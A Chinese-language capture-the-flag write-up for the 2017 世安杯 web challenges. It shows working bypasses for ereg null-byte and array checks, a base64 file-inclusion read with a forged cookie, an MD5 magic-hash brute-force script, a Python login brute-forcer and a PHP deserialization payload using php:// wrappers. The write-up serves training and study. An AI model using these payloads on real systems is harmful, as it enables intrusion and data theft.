世安杯2017 Writeup

Web

CTF入门级题目

代码审计题，下载源码

```php
<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>
```

这里有两种思路，一个是ereg函数的漏洞，%00后面的内容会被舍弃掉，我们可以把`--`放到%00后面，提交`?password=11%00--`，另一种思路是利用`===`和`!==`是强匹配，这里可以利用数组来绕过,提交`?password[]=1`

曲奇饼干

打开跳转链接为:`index.php?line=&file=a2V5LnR4dA==`，file参数很明显的文件包含，base64解码下是`key.txt`，我们将`index.php` base64编码后读取index.php的源码，这里line参数的作用是读取的行数，默认是第0行，因此`index.php?line=&file=aW5kZXgucGhw`读取index.php源码只是读取到了第一行`<?php`，改变line参数的值即可读取全部内容

```php
<?php
$file = base64_decode(isset($_GET['file']) ? $_GET['file'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') {
    header("location:index.php?line=&file=a2V5LnR4dA==");
}
$file_list = array(
    '0' => 'key.txt',
    '1' => 'index.php',
);
if (isset($_COOKIE['key']) && $_COOKIE['key'] == 'li_lr_480') {
    $file_list[2] = 'thisis_flag.php';
}
if (in_array($file, $file_list)) {
    $fa = file($file);
    echo $fa[$line];
}
?>
```

通过源码可知我们需要在cookie中设置key参数为: `li_lr_480` 才能绕过 `if (in_array($file, $file_list))` 这个条件去读取 `thisis_flag.php` 这个页面的值， 我们直接在chrome的console里面添加一个cookie值: `document.cookie="key=li_lr_480"`, 然后访问链接 `/index.php?line=0&file=dGhpc2lzX2ZsYWcucGhw` 即可得到flag

类型

参考： `http://59.64.78.184:6007/index.txt`， 前面的条件比较都一样，这里说下最后个参数x3的绕过：

```php
$x3 = $_GET['x3'];
if ($x3 != '15562') {
    if (strstr($x3, 'XIPU')) {
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
            $d=1;
        }
    }
}
```

`substr(md5('15562'),8,16)` 的结果是 `0e` 开头，我们需要找一个带有 `XIPU` 的字符串的截取md5的中间 8 位也是 `0e` 开头即可， 这里写一个php脚本去爆破

```php
<?php
$s = "XIPU";
for ($i = 0; $i < 100000; $i++) {
    $t = $s . $i;
    if (substr(md5($t), 8, 16) == substr(md5('15562'), 8, 16)) {
        echo 'got it:' . $t;
    }
}
```

登录

查看页面源码，发现最下面有一个hint: `<!-- 听说密码是一个五位数字 -->`
提示很明显了，爆破题，写一个py脚本爆破密码即可,这里有一个坑是密码是从1..99999，不够五位数用0填充，利用py的zfill函数来实现

```python
#!/usr/bin/env python
#coding:utf-8

import requests
import re

url1 = 'http://ctf1.shiyanbar.com/shian-s/index.php'
url2 = 'http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&passwo
rd={0}&randcode={1}'

for i in range(1,99999):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.
0) Gecko/20100101 Firefox/50.0'}
    s = requests.session()
    html = s.get(url1,headers=headers)
    content =  html.content
    code = re.findall(r'<br><br>(\d{3})<br><br>',content)
    print code
    t = str(i).zfill(5)
    #print s
    target = url2.format(t,code[0])
    print target
    res = s.get(target).content
    #print res.content
    if '密码错误' not in res:
        print res
        break
```

密码大概是`00325`，跑300多次就够了

admin

参考原题: `http://blog.csdn.net/niexinming/article/details/52623790`

是一些反序列化漏洞的考点， 有兴趣的可以去了解下

url:

`http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}`

POST数据： `the user is admin`